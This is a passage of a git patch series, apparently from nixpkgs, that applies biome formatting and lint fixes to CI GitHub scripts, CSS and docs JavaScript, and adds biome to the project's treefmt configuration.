-		lockContents = await fs.promises.readFile(lockFile || 'yarn.lock', 'utf-8')
-	} catch {
-		showUsage()
-	}
+  const args = process.argv.slice(2)
+  let next, lockFile, verbose, isBuilder
+  while (next = args.shift()) {
+    if (next == '--builder') {
+      isBuilder = true
+    } else if (next == '--verbose' || next == '-v') {
+      verbose = true
+    } else if (next == '--help' || next == '-h') {
+      showUsage()
+    } else if (!lockFile) {
+      lockFile = next
+    } else {
+      showUsage()
+    }
+  }
+  let lockContents
+  try {
+    lockContents = await fs.promises.readFile(lockFile || 'yarn.lock', 'utf-8')
+  } catch {
+    showUsage()
+  }
 
-	if (isBuilder) {
-		await prefetchYarnDeps(lockContents, verbose)
-	} else {
-		const { stdout: tmpDir } = await exec('mktemp', [ '-d' ])
+  if (isBuilder) {
+    await prefetchYarnDeps(lockContents, verbose)
+  } else {
+    const { stdout: tmpDir } = await exec('mktemp', [ '-d' ])
 
-		try {
-			process.chdir(tmpDir.trim())
-			await prefetchYarnDeps(lockContents, verbose)
-			const { stdout: hash } = await exec('nix-hash', [ '--type', 'sha256', '--base32', tmpDir.trim() ])
-			console.log(hash)
-		} finally {
-			await exec('rm', [ '-rf', tmpDir.trim() ])
-		}
-	}
+    try {
+      process.chdir(tmpDir.trim())
+      await prefetchYarnDeps(lockContents, verbose)
+      const { stdout: hash } = await exec('nix-hash', [ '--type', 'sha256', '--base32', tmpDir.trim() ])
+      console.log(hash)
+    } finally {
+      await exec('rm', [ '-rf', tmpDir.trim() ])
+    }
+  }
 }
 
 main()
-	.catch(e => {
-		console.error(e)
-		process.exit(1)
-	})
+  .catch(e => {
+    console.error(e)
+    process.exit(1)
+  })

From e6d63110df84bc72e094ca2d5df338f2a2fb92cd Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 20 Aug 2025 14:53:19 +0200
Subject: [PATCH 3671/4511] ci: apply safe formatting with biome

(cherry picked from commit 1fa55d3900e45cec4446c9da76f0f5d5c3ddf8c7)
---
 ci/github-script/commits.js       | 63 +++++++++++++++++++++++--------
 ci/github-script/labels.js        |  6 ++-
 ci/github-script/prepare.js       |  2 +-
 ci/github-script/withRateLimit.js |  2 +-
 ci/supportedBranches.js           |  8 +++-
 5 files changed, 59 insertions(+), 22 deletions(-)

diff --git a/ci/github-script/commits.js b/ci/github-script/commits.js
index 82fedd608b06..5432d0239a11 100644
--- a/ci/github-script/commits.js
+++ b/ci/github-script/commits.js
@@ -1,4 +1,4 @@
-module.exports = async function ({ github, context, core, dry }) {
+module.exports = async ({ github, context, core, dry }) => {
   const { execFileSync } = require('node:child_process')
   const { readFile } = require('node:fs/promises')
   const { join } = require('node:path')
@@ -24,7 +24,7 @@ module.exports = async function ({ github, context, core, dry }) {
 
     async function extract({ sha, commit }) {
       const noCherryPick = Array.from(
-        commit.message.matchAll(/^Not-cherry-picked-because: (.*)$/g)
+        commit.message.matchAll(/^Not-cherry-picked-because: (.*)$/g),
       ).at(0)
 
       if (noCherryPick)
@@ -148,8 +148,7 @@ module.exports = async function ({ github, context, core, dry }) {
 
     const fetch = extracted
       .filter(({ severity }) => !severity)
-      .map(({ sha, original_sha }) => [ sha, original_sha ])
-      .flat()
+      .flatMap(({ sha, original_sha }) => [sha, original_sha])
 
     if (fetch.length > 0) {
       // Fetching all commits we need for diff at once is much faster than any other method.
@@ -163,7 +162,9 @@ module.exports = async function ({ github, context, core, dry }) {
       ])
     }
 
-    const results = extracted.map(result => result.severity ? result : diff(result))
+    const results = extracted.map((result) =>
+      result.severity ? result : diff(result),
+    )
 
     // Log all results without truncation, with better highlighting and all whitespace changes to the job log.
     results.forEach(({ sha, commit, severity, message, colored_diff }) => {
@@ -217,28 +218,58 @@ module.exports = async function ({ github, context, core, dry }) {
     if (results.some(({ severity }) => severity == 'error'))
       process.exitCode = 1
 
-    core.summary.addRaw('This report is automatically generated by the `PR / Check / cherry-pick` CI workflow.', true)
+    core.summary.addRaw(
+      'This report is automatically generated by the `PR / Check / cherry-pick` CI workflow.',
+      true,
+    )
     core.summary.addEOL()
-    core.summary.addRaw("Some of the commits in this PR require the author's and reviewer's attention.", true)
+    core.summary.addRaw(
+      "Some of the commits in this PR require the author's and reviewer's attention.",
+      true,
+    )
     core.summary.addEOL()
 
     if (results.some(({ type }) => type === 'no-commit-hash')) {
-      core.summary.addRaw('Please follow the [backporting guidelines](https://github.com/NixOS/nixpkgs/blob/master/CONTRIBUTING.md#how-to-backport-pull-requests) and cherry-pick with the `-x` flag.', true)
-      core.summary.addRaw('This requires changes to the unstable `master` and `staging` branches first, before backporting them.', true)
+      core.summary.addRaw(
+        'Please follow the [backporting guidelines](https://github.com/NixOS/nixpkgs/blob/master/CONTRIBUTING.md#how-to-backport-pull-requests) and cherry-pick with the `-x` flag.',
+        true,
+      )
+      core.summary.addRaw(
+        'This requires changes to the unstable `master` and `staging` branches first, before backporting them.',
+        true,
+      )
       core.summary.addEOL()
-      core.summary.addRaw('Occasionally, commits are not cherry-picked at all, for example when updating minor versions of packages which have already advanced to the next major on unstable.', true)
-      core.summary.addRaw('These commits can optionally be marked with a `Not-cherry-picked-because: <reason>` footer.', true)
+      core.summary.addRaw(
+        'Occasionally, commits are not cherry-picked at all, for example when updating minor versions of packages which have already advanced to the next major on unstable.',
+        true,
+      )
+      core.summary.addRaw(
+        'These commits can optionally be marked with a `Not-cherry-picked-because: <reason>` footer.',
+        true,
+      )
       core.summary.addEOL()
     }
 
     if (results.some(({ type }) => type === 'diff')) {
-      core.summary.addRaw('Sometimes it is not possible to cherry-pick exactly the same patch.', true)
-      core.summary.addRaw('This most frequently happens when resolving merge conflicts.', true)
-      core.summary.addRaw('The range-diff will help to review the resolution of conflicts.', true)
+      core.summary.addRaw(
+        'Sometimes it is not possible to cherry-pick exactly the same patch.',
+        true,
+      )
+      core.summary.addRaw(
+        'This most frequently happens when resolving merge conflicts.',
+        true,
+      )
+      core.summary.addRaw(
+        'The range-diff will help to review the resolution of conflicts.',
+        true,
+      )
       core.summary.addEOL()
     }
 
-    core.summary.addRaw('If you need to merge this PR despite the warnings, please [dismiss](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review) this review shortly before merging.', true)
+    core.summary.addRaw(
+      'If you need to merge this PR despite the warnings, please [dismiss](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review) this review shortly before merging.',
+      true,
+    )
 
     results.forEach(({ severity, message, diff }) => {
       if (severity == 'info') return
@@ -256,7 +287,7 @@ module.exports = async function ({ github, context, core, dry }) {
       // Whether this is intended or just an implementation detail is unclear.
       core.summary.addRaw('<blockquote>')
       core.summary.addRaw(
-        `\n\n[!${({ important: 'IMPORTANT', warning: 'WARNING', error: 'CAUTION' })[severity]}]`,
+        `\n\n[!${{ important: 'IMPORTANT', warning: 'WARNING', error: 'CAUTION' }[severity]}]`,
         true,
       )
       core.summary.addRaw(`${message}`, true)
diff --git a/ci/github-script/labels.js b/ci/github-script/labels.js
index d7dbc2b2375c..68b84f6d9dfb 100644
--- a/ci/github-script/labels.js
+++ b/ci/github-script/labels.js
@@ -1,4 +1,4 @@
-module.exports = async function ({ github, context, core, dry }) {
+module.exports = async ({ github, context, core, dry }) => {
   const path = require('node:path')
   const { DefaultArtifactClient } = require('@actions/artifact')
   const { readFile, writeFile } = require('node:fs/promises')
@@ -297,7 +297,9 @@ module.exports = async function ({ github, context, core, dry }) {
           // Go back as far as the last successful run of this workflow to make sure
           // we are not leaving anyone behind on GHA failures.
           // Defaults to go back 1 hour on the first run.
-          new Date(lastRun?.created_at ?? new Date().getTime() - 1 * 60 * 60 * 1000).getTime(),
+          new Date(
+            lastRun?.created_at ?? new Date().getTime() - 1 * 60 * 60 * 1000,
+          ).getTime(),
           // Go back max. 1 day to prevent hitting all API rate limits immediately,
           // when GH API returns a wrong workflow by accident.
           new Date().getTime() - 24 * 60 * 60 * 1000,
diff --git a/ci/github-script/prepare.js b/ci/github-script/prepare.js
index 60225db0635e..96f433126785 100644
--- a/ci/github-script/prepare.js
+++ b/ci/github-script/prepare.js
@@ -1,4 +1,4 @@
-module.exports = async function ({ github, context, core }) {
+module.exports = async ({ github, context, core }) => {
   const pull_number = context.payload.pull_request.number
 
   for (const retryInterval of [5, 10, 20, 40, 80]) {
diff --git a/ci/github-script/withRateLimit.js b/ci/github-script/withRateLimit.js
index ff97c7173fcf..f430385fed3a 100644
--- a/ci/github-script/withRateLimit.js
+++ b/ci/github-script/withRateLimit.js
@@ -1,4 +1,4 @@
-module.exports = async function ({ github, core }, callback) {
+module.exports = async ({ github, core }, callback) => {
   const Bottleneck = require('bottleneck')
 
   const stats = {
diff --git a/ci/supportedBranches.js b/ci/supportedBranches.js
index a8579f96df99..d1a826e89147 100755
--- a/ci/supportedBranches.js
+++ b/ci/supportedBranches.js
@@ -15,14 +15,18 @@ const typeConfig = {
 }
 
 function split(branch) {
-  return { ...branch.match(/(?<prefix>.+?)(-(?<version>\d{2}\.\d{2}|unstable)(?:-(?<suffix>.*))?)?$/).groups }
+  return {
+    ...branch.match(
+      /(?<prefix>.+?)(-(?<version>\d{2}\.\d{2}|unstable)(?:-(?<suffix>.*))?)?$/,
+    ).groups,
+  }
 }
 
 function classify(branch) {
   const { prefix, version } = split(branch)
   return {
     stable: (version ?? 'unstable') !== 'unstable',
-    type: typeConfig[prefix] ?? [ 'wip' ]
+    type: typeConfig[prefix] ?? ['wip'],
   }
 }
 

From 27c0126b67c2360d4a3a5e87ef70ea4c0e84c25c Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 20 Aug 2025 15:01:39 +0200
Subject: [PATCH 3672/4511] ci: apply unsafe fixes with biome

(cherry picked from commit 23b82b322868e32e3b0fcd60c08e03bf0a0ac505)
---
 ci/github-script/commits.js       | 22 ++++++++++------------
 ci/github-script/labels.js        | 31 +++++++++++++++----------------
 ci/github-script/withRateLimit.js |  2 +-
 3 files changed, 26 insertions(+), 29 deletions(-)

diff --git a/ci/github-script/commits.js b/ci/github-script/commits.js
index 5432d0239a11..41922c810a69 100644
--- a/ci/github-script/commits.js
+++ b/ci/github-script/commits.js
@@ -1,7 +1,5 @@
 module.exports = async ({ github, context, core, dry }) => {
   const { execFileSync } = require('node:child_process')
-  const { readFile } = require('node:fs/promises')
-  const { join } = require('node:path')
   const { classify } = require('../supportedBranches.js')
   const withRateLimit = require('./withRateLimit.js')
 
@@ -18,7 +16,7 @@ module.exports = async ({ github, context, core, dry }) => {
           run_id: context.runId,
           per_page: 100,
         })
-      ).find(({ name }) => name == 'Check / cherry-pick').html_url +
+      ).find(({ name }) => name === 'Check / cherry-pick').html_url +
         '?pr=' +
         pull_number
 
@@ -178,7 +176,7 @@ module.exports = async ({ github, context, core, dry }) => {
 
     // Only create step summary below in case of warnings or errors.
     // Also clean up older reviews, when all checks are good now.
-    if (results.every(({ severity }) => severity == 'info')) {
+    if (results.every(({ severity }) => severity === 'info')) {
       if (!dry) {
         await Promise.all(
           (
@@ -187,9 +185,9 @@ module.exports = async ({ github, context, core, dry }) => {
               pull_number,
             })
           )
-            .filter((review) => review.user.login == 'github-actions[bot]')
+            .filter((review) => review.user.login === 'github-actions[bot]')
             .map(async (review) => {
-              if (review.state == 'CHANGES_REQUESTED') {
+              if (review.state === 'CHANGES_REQUESTED') {
                 await github.rest.pulls.dismissReview({
                   ...context.repo,
                   pull_number,
@@ -215,7 +213,7 @@ module.exports = async ({ github, context, core, dry }) => {
 
     // In the case of "error" severity, we also fail the job.
     // Those should be considered blocking and not be dismissable via review.
-    if (results.some(({ severity }) => severity == 'error'))
+    if (results.some(({ severity }) => severity === 'error'))
       process.exitCode = 1
 
     core.summary.addRaw(
@@ -272,7 +270,7 @@ module.exports = async ({ github, context, core, dry }) => {
     )
 
     results.forEach(({ severity, message, diff }) => {
-      if (severity == 'info') return
+      if (severity === 'info') return
 
       // The docs for markdown alerts only show examples with markdown blockquote syntax, like this:
       //   > [!WARNING]
@@ -336,18 +334,18 @@ module.exports = async ({ github, context, core, dry }) => {
       })
     ).find(
       (review) =>
-        review.user.login == 'github-actions[bot]' &&
+        review.user.login === 'github-actions[bot]' &&
         // If a review is still pending, we can just update this instead
         // of posting a new one.
-        (review.state == 'CHANGES_REQUESTED' ||
+        (review.state === 'CHANGES_REQUESTED' ||
           // No need to post a new review, if an older one with the exact
           // same content had already been dismissed.
-          review.body == body),
+          review.body === body),
     )
 
     if (dry) {
       if (pendingReview)
-        core.info('pending review found: ' + pendingReview.html_url)
+        core.info(`pending review found: ${pendingReview.html_url}`)
       else core.info('no pending review found')
     } else {
       // Either of those two requests could fail for very long comments. This can only happen
diff --git a/ci/github-script/labels.js b/ci/github-script/labels.js
index 68b84f6d9dfb..3086cbaf3844 100644
--- a/ci/github-script/labels.js
+++ b/ci/github-script/labels.js
@@ -27,7 +27,7 @@ module.exports = async ({ github, context, core, dry }) => {
 
     const approvals = new Set(
       reviews
-        .filter((review) => review.state == 'APPROVED')
+        .filter((review) => review.state === 'APPROVED')
         .map((review) => review.user?.id),
     )
 
@@ -37,7 +37,7 @@ module.exports = async ({ github, context, core, dry }) => {
     // This is intentionally less than the time that Eval takes, so that the label job
     // running after Eval can indeed label the PR as conflicted if that is the case.
     const merge_commit_sha_valid =
-      new Date() - new Date(pull_request.created_at) > 3 * 60 * 1000
+      Date.now() - new Date(pull_request.created_at) > 3 * 60 * 1000
 
     const prLabels = {
       // We intentionally don't use the mergeable or mergeable_state attributes.
@@ -53,8 +53,8 @@ module.exports = async ({ github, context, core, dry }) => {
       // The second pass will then read the result from the first pass and set the label.
       '2.status: merge conflict':
         merge_commit_sha_valid && !pull_request.merge_commit_sha,
-      '12.approvals: 1': approvals.size == 1,
-      '12.approvals: 2': approvals.size == 2,
+      '12.approvals: 1': approvals.size === 1,
+      '12.approvals: 2': approvals.size === 2,
       '12.approvals: 3+': approvals.size >= 3,
       '12.first-time contribution': [
         'NONE',
@@ -104,8 +104,8 @@ module.exports = async ({ github, context, core, dry }) => {
         // existing reviews, too.
         '9.needs: reviewer':
           !pull_request.draft &&
-          pull_request.requested_reviewers.length == 0 &&
-          reviews.length == 0,
+          pull_request.requested_reviewers.length === 0 &&
+          reviews.length === 0,
       })
     }
 
@@ -125,8 +125,7 @@ module.exports = async ({ github, context, core, dry }) => {
     // called "comparison", yet, will skip the download.
     const expired =
       !artifact ||
-      new Date(artifact?.expires_at ?? 0) <
-        new Date(new Date().getTime() + 60 * 1000)
+      new Date(artifact?.expires_at ?? 0) < new Date(Date.now() + 60 * 1000)
     log('Artifact expires at', artifact?.expires_at ?? '<n/a>')
     if (!expired) {
       stats.artifacts++
@@ -175,7 +174,7 @@ module.exports = async ({ github, context, core, dry }) => {
   async function handle({ item, stats }) {
     try {
       const log = (k, v, skip) => {
-        core.info(`#${item.number} - ${k}: ${v}` + (skip ? ' (skipped)' : ''))
+        core.info(`#${item.number} - ${k}: ${v}${skip ? ' (skipped)' : ''}`)
         return skip
       }
 
@@ -257,7 +256,7 @@ module.exports = async ({ github, context, core, dry }) => {
 
       // No need for an API request, if all labels are the same.
       const hasChanges = Object.keys(after).some(
-        (name) => (before[name] ?? false) != after[name],
+        (name) => (before[name] ?? false) !== after[name],
       )
       if (log('Has changes', hasChanges, !hasChanges)) return
 
@@ -298,14 +297,14 @@ module.exports = async ({ github, context, core, dry }) => {
           // we are not leaving anyone behind on GHA failures.
           // Defaults to go back 1 hour on the first run.
           new Date(
-            lastRun?.created_at ?? new Date().getTime() - 1 * 60 * 60 * 1000,
+            lastRun?.created_at ?? Date.now() - 1 * 60 * 60 * 1000,
           ).getTime(),
           // Go back max. 1 day to prevent hitting all API rate limits immediately,
           // when GH API returns a wrong workflow by accident.
-          new Date().getTime() - 24 * 60 * 60 * 1000,
+          Date.now() - 24 * 60 * 60 * 1000,
         ),
       )
-      core.info('cutoff timestamp: ' + cutoff.toISOString())
+      core.info(`cutoff timestamp: ${cutoff.toISOString()}`)
 
       const updatedItems = await github.paginate(
         github.rest.search.issuesAndPullRequests,
@@ -402,12 +401,12 @@ module.exports = async ({ github, context, core, dry }) => {
         .concat(updatedItems, allItems.data)
         .filter(
           (thisItem, idx, arr) =>
-            idx ==
-            arr.findIndex((firstItem) => firstItem.number == thisItem.number),
+            idx ===
+            arr.findIndex((firstItem) => firstItem.number === thisItem.number),
         )
 
       ;(await Promise.allSettled(items.map((item) => handle({ item, stats }))))
-        .filter(({ status }) => status == 'rejected')
+        .filter(({ status }) => status === 'rejected')
         .map(({ reason }) =>
           core.setFailed(`${reason.message}\n${reason.cause.stack}`),
         )
diff --git a/ci/github-script/withRateLimit.js b/ci/github-script/withRateLimit.js
index f430385fed3a..efc63057beb7 100644
--- a/ci/github-script/withRateLimit.js
+++ b/ci/github-script/withRateLimit.js
@@ -23,7 +23,7 @@ module.exports = async ({ github, core }, callback) => {
     // Requests to a different host do not count against the rate limit.
     if (options.url.startsWith('https://github.com')) return request(options)
     // Requests to the /rate_limit endpoint do not count against the rate limit.
-    if (options.url == '/rate_limit') return request(options)
+    if (options.url === '/rate_limit') return request(options)
     // Search requests are in a different resource group, which allows 30 requests / minute.
     // We do less than a handful each run, so not implementing throttling for now.
     if (options.url.startsWith('/search/')) return request(options)

From 4fdb135006305b8ec13c4d36376439ef65931008 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 20 Aug 2025 14:35:25 +0200
Subject: [PATCH 3673/4511] ci/treefmt: add biome for .js files

This excludes doc and pkgs folders, because there are way too many files
to fix at the moment.

(cherry picked from commit 9d5164bdb89b23103e8fb94d6f0bef75ac85f747)
---
 ci/default.nix | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/ci/default.nix b/ci/default.nix
index c75de0ff2b9a..0b24da8f170c 100644
--- a/ci/default.nix
+++ b/ci/default.nix
@@ -42,6 +42,22 @@ let
 
         programs.actionlint.enable = true;
 
+        programs.biome = {
+          enable = true;
+          settings.formatter = {
+            useEditorconfig = true;
+          };
+          settings.javascript.formatter = {
+            quoteStyle = "single";
+            semicolons = "asNeeded";
+          };
+          settings.json.formatter.enabled = false;
+        };
+        settings.formatter.biome.excludes = [
+          "doc/*"
+          "pkgs/*"
+        ];
+
         programs.keep-sorted.enable = true;
 
         # This uses nixfmt underneath,

From 1516b4435df2445f5f98a9b2bb9be733e4df5fe9 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 20 Aug 2025 15:26:52 +0200
Subject: [PATCH 3674/4511] .editorconfig: indent css with spaces

We already do in doc/style.css, but we should tell our editors and
formatters, too.

The comment.. doesn't really make sense, it's purely repetitive with the
code itself. Thus, removed.

(cherry picked from commit 08c315672d2c902bf50c53efc823c6257b852162)
---
 .editorconfig | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/.editorconfig b/.editorconfig
index de4715d5c902..2d877d20b825 100644
--- a/.editorconfig
+++ b/.editorconfig
@@ -23,8 +23,7 @@ insert_final_newline = false
 
 # see https://nixos.org/nixpkgs/manual/#chap-conventions
 
-# Match json/lockfiles/markdown/nix/perl/python/ruby/shell/docbook files, set indent to spaces
-[*.{bash,js,json,lock,md,nix,pl,pm,py,rb,sh,xml}]
+[*.{bash,css,js,json,lock,md,nix,pl,pm,py,rb,sh,xml}]
 indent_style = space
 
 # Match docbook files, set indent width of one

From 4d650d0530133173f5293dd5e696f3545f8861d4 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 20 Aug 2025 15:03:14 +0200
Subject: [PATCH 3675/4511] doc: apply safe formatting with biome

(cherry picked from commit 46df6abf87f0893fb8580750c6c17f9e2dd8f498)
---
 doc/anchor-use.js |   8 +-
 doc/style.css     | 412 +++++++++++++++++++++++-----------------------
 2 files changed, 211 insertions(+), 209 deletions(-)

diff --git a/doc/anchor-use.js b/doc/anchor-use.js
index a45c4e2be68d..76177ee773cf 100644
--- a/doc/anchor-use.js
+++ b/doc/anchor-use.js
@@ -1,3 +1,5 @@
-document.addEventListener('DOMContentLoaded', function(event) {
-  anchors.add('h1[id]:not(div.note h1, div.warning h1, div.tip h1, div.caution h1, div.important h1), h2[id]:not(div.note h2, div.warning h2, div.tip h2, div.caution h2, div.important h2), h3[id]:not(div.note h3, div.warning h3, div.tip h3, div.caution h3, div.important h3), h4[id]:not(div.note h4, div.warning h4, div.tip h4, div.caution h4, div.important h4), h5[id]:not(div.note h5, div.warning h5, div.tip h5, div.caution h5, div.important h5), h6[id]:not(div.note h6, div.warning h6, div.tip h6, div.caution h6, div.important h6)');
-});
+document.addEventListener('DOMContentLoaded', (event) => {
+  anchors.add(
+    'h1[id]:not(div.note h1, div.warning h1, div.tip h1, div.caution h1, div.important h1), h2[id]:not(div.note h2, div.warning h2, div.tip h2, div.caution h2, div.important h2), h3[id]:not(div.note h3, div.warning h3, div.tip h3, div.caution h3, div.important h3), h4[id]:not(div.note h4, div.warning h4, div.tip h4, div.caution h4, div.important h4), h5[id]:not(div.note h5, div.warning h5, div.tip h5, div.caution h5, div.important h5), h6[id]:not(div.note h6, div.warning h6, div.tip h6, div.caution h6, div.important h6)',
+  )
+})
diff --git a/doc/style.css b/doc/style.css
index 4ba76cc39114..d2b31e84b66f 100644
--- a/doc/style.css
+++ b/doc/style.css
@@ -1,193 +1,193 @@
 html {
-    line-height: 1.15;
-    -webkit-text-size-adjust: 100%;
+  line-height: 1.15;
+  -webkit-text-size-adjust: 100%;
 }
 
 body {
-    margin: 0;
+  margin: 0;
 }
 
 .book,
 .appendix {
-    margin: auto;
-    width: 100%;
+  margin: auto;
+  width: 100%;
 }
 
 @media screen and (min-width: 768px) {
-    .book,
-    .appendix {
-        max-width: 46rem;
-    }
+  .book,
+  .appendix {
+    max-width: 46rem;
+  }
 }
 
 @media screen and (min-width: 992px) {
-    .book,
-    .appendix {
-        max-width: 60rem;
-    }
+  .book,
+  .appendix {
+    max-width: 60rem;
+  }
 }
 
 @media screen and (min-width: 1200px) {
-    .book,
-    .appendix {
-        max-width: 73rem;
-    }
+  .book,
+  .appendix {
+    max-width: 73rem;
+  }
 }
 
 .book .list-of-examples {
-    display: none;
+  display: none;
 }
 
 h1 {
-    font-size: 2em;
-    margin: 0.67em 0;
+  font-size: 2em;
+  margin: 0.67em 0;
 }
 
 hr {
-    box-sizing: content-box;
-    height: 0;
-    overflow: visible;
+  box-sizing: content-box;
+  height: 0;
+  overflow: visible;
 }
 
 pre {
-    font-family: monospace, monospace;
-    font-size: 1em;
+  font-family: monospace, monospace;
+  font-size: 1em;
 }
 
 a {
-    background-color: transparent;
+  background-color: transparent;
 }
 
 strong {
-    font-weight: bolder;
+  font-weight: bolder;
 }
 
 code {
-    font-family: monospace, monospace;
-    font-size: 1em;
+  font-family: monospace, monospace;
+  font-size: 1em;
 }
 
 sup {
-    font-size: 75%;
-    line-height: 0;
-    position: relative;
-    vertical-align: baseline;
+  font-size: 75%;
+  line-height: 0;
+  position: relative;
+  vertical-align: baseline;
 }
 
 sup {
-    top: -0.5em;
+  top: -0.5em;
 }
 
 ::-webkit-file-upload-button {
-    -webkit-appearance: button;
-    font: inherit;
+  -webkit-appearance: button;
+  font: inherit;
 }
 
 pre {
-    overflow: auto;
+  overflow: auto;
 }
 
 *,
 *::before,
 *::after {
-    box-sizing: border-box;
+  box-sizing: border-box;
 }
 
 html {
-    font-size: 100%;
-    line-height: 1.77777778;
+  font-size: 100%;
+  line-height: 1.77777778;
 }
 
 @media screen and (min-width: 4000px) {
-    html {
-        background: #000;
-    }
+  html {
+    background: #000;
+  }
 
-    html body {
-        margin: auto;
-        max-width: 250rem;
-    }
+  html body {
+    margin: auto;
+    max-width: 250rem;
+  }
 }
 
 @media screen and (max-width: 320px) {
-    html {
-        font-size: calc(16 / 320 * 100vw);
-    }
+  html {
+    font-size: calc(16 / 320 * 100vw);
+  }
 }
 
 body {
-    font-size: 1rem;
-    font-family: "Roboto", sans-serif;
-    font-weight: 300;
-    color: var(--main-text-color);
-    background-color: var(--background);
-    min-height: 100vh;
-    display: flex;
-    flex-direction: column;
+  font-size: 1rem;
+  font-family: "Roboto", sans-serif;
+  font-weight: 300;
+  color: var(--main-text-color);
+  background-color: var(--background);
+  min-height: 100vh;
+  display: flex;
+  flex-direction: column;
 }
 
 @media screen and (max-width: 767.9px) {
-    body {
-        padding-left: 1rem;
-        padding-right: 1rem;
-    }
+  body {
+    padding-left: 1rem;
+    padding-right: 1rem;
+  }
 }
 
 a {
-    text-decoration: none;
-    border-bottom: 1px solid;
-    color: var(--link-color);
+  text-decoration: none;
+  border-bottom: 1px solid;
+  color: var(--link-color);
 }
 
 ul {
-    padding: 0;
-    margin-top: 0;
-    margin-right: 0;
-    margin-bottom: 1rem;
-    margin-left: 1rem;
+  padding: 0;
+  margin-top: 0;
+  margin-right: 0;
+  margin-bottom: 1rem;
+  margin-left: 1rem;
 }
 
 table {
-    border-collapse: collapse;
-    width: 100%;
-    margin-bottom: 1rem;
+  border-collapse: collapse;
+  width: 100%;
+  margin-bottom: 1rem;
 }
 
 thead th {
-    text-align: left;
+  text-align: left;
 }
 
 hr {
-    margin-top: 1rem;
-    margin-bottom: 1rem;
+  margin-top: 1rem;
+  margin-bottom: 1rem;
 }
 
 h1 {
-    font-weight: 800;
-    line-height: 110%;
-    font-size: 200%;
-    margin-bottom: 1rem;
-    color: var(--heading-color);
+  font-weight: 800;
+  line-height: 110%;
+  font-size: 200%;
+  margin-bottom: 1rem;
+  color: var(--heading-color);
 }
 
 h2 {
-    font-weight: 800;
-    line-height: 110%;
-    font-size: 170%;
-    margin-bottom: 0.625rem;
-    color: var(--heading-color);
+  font-weight: 800;
+  line-height: 110%;
+  font-size: 170%;
+  margin-bottom: 0.625rem;
+  color: var(--heading-color);
 }
 
 h2:not(:first-child) {
-    margin-top: 1rem;
+  margin-top: 1rem;
 }
 
 h3 {
-    font-weight: 800;
-    line-height: 110%;
-    margin-bottom: 1rem;
-    font-size: 150%;
-    color: var(--heading-color);
+  font-weight: 800;
+  line-height: 110%;
+  margin-bottom: 1rem;
+  font-size: 150%;
+  color: var(--heading-color);
 }
 
 .note h3,
@@ -195,73 +195,73 @@ h3 {
 .warning h3,
 .caution h3,
 .important h3 {
-    font-size: 120%;
+  font-size: 120%;
 }
 
 h4 {
-    font-weight: 800;
-    line-height: 110%;
-    margin-bottom: 1rem;
-    font-size: 140%;
-    color: var(--heading-color);
+  font-weight: 800;
+  line-height: 110%;
+  margin-bottom: 1rem;
+  font-size: 140%;
+  color: var(--heading-color);
 }
 
 h5 {
-    font-weight: 800;
-    line-height: 110%;
-    margin-bottom: 1rem;
-    font-size: 130%;
-    color: var(--small-heading-color);
+  font-weight: 800;
+  line-height: 110%;
+  margin-bottom: 1rem;
+  font-size: 130%;
+  color: var(--small-heading-color);
 }
 
 h6 {
-    font-weight: 800;
-    line-height: 110%;
-    margin-bottom: 1rem;
-    font-size: 120%;
+  font-weight: 800;
+  line-height: 110%;
+  margin-bottom: 1rem;
+  font-size: 120%;
 }
 
 strong {
-    font-weight: bold;
+  font-weight: bold;
 }
 
 p {
-    margin-top: 0;
-    margin-bottom: 1rem;
+  margin-top: 0;
+  margin-bottom: 1rem;
 }
 
 dt > *:first-child,
 dd > *:first-child {
-    margin-top: 0;
+  margin-top: 0;
 }
 
 dt > *:last-child,
 dd > *:last-child {
-    margin-bottom: 0;
+  margin-bottom: 0;
 }
 
 pre,
 code {
-    font-family: monospace;
+  font-family: monospace;
 }
 
 code {
-    color: #ff8657;
-    background: #f4f4f4;
-    display: inline-block;
-    padding: 0 0.5rem;
-    border: 1px solid #d8d8d8;
-    border-radius: 0.5rem;
-    line-height: 1.57777778;
+  color: #ff8657;
+  background: #f4f4f4;
+  display: inline-block;
+  padding: 0 0.5rem;
+  border: 1px solid #d8d8d8;
+  border-radius: 0.5rem;
+  line-height: 1.57777778;
 }
 
 div.book .programlisting,
 div.appendix .programlisting {
-    border-radius: 0.5rem;
-    padding: 1rem;
-    overflow: auto;
-    background: var(--codeblock-background);
-    color: var(--codeblock-text-color);
+  border-radius: 0.5rem;
+  padding: 1rem;
+  overflow: auto;
+  background: var(--codeblock-background);
+  color: var(--codeblock-text-color);
 }
 
 div.book .note,
@@ -274,11 +274,11 @@ div.appendix .tip,
 div.appendix .warning,
 div.appendix .caution,
 div.appendix .important {
-    margin-bottom: 1rem;
-    border-radius: 0.5rem;
-    padding: 1.5rem;
-    overflow: auto;
-    background: #f4f4f4;
+  margin-bottom: 1rem;
+  border-radius: 0.5rem;
+  padding: 1.5rem;
+  overflow: auto;
+  background: #f4f4f4;
 }
 
 div.book .note > .title,
@@ -291,11 +291,11 @@ div.appendix .tip > .title,
 div.appendix .warning > .title,
 div.appendix .caution > .title,
 div.appendix .important > .title {
-    font-weight: 800;
-    line-height: 110%;
-    margin-bottom: 1rem;
-    color: inherit;
-    margin-bottom: 0;
+  font-weight: 800;
+  line-height: 110%;
+  margin-bottom: 1rem;
+  color: inherit;
+  margin-bottom: 0;
 }
 
 div.book .note > :first-child,
@@ -308,7 +308,7 @@ div.appendix .tip > :first-child,
 div.appendix .warning > :first-child,
 div.appendix .caution > :first-child,
 div.appendix .important > :first-child {
-    margin-top: 0;
+  margin-top: 0;
 }
 
 div.book .note > :last-child,
@@ -321,122 +321,122 @@ div.appendix .tip > :last-child,
 div.appendix .warning > :last-child,
 div.appendix .caution > :last-child,
 div.appendix .important > :last-child {
-    margin-bottom: 0;
+  margin-bottom: 0;
 }
 
 div.book .note,
 div.book .tip,
 div.appendix .note,
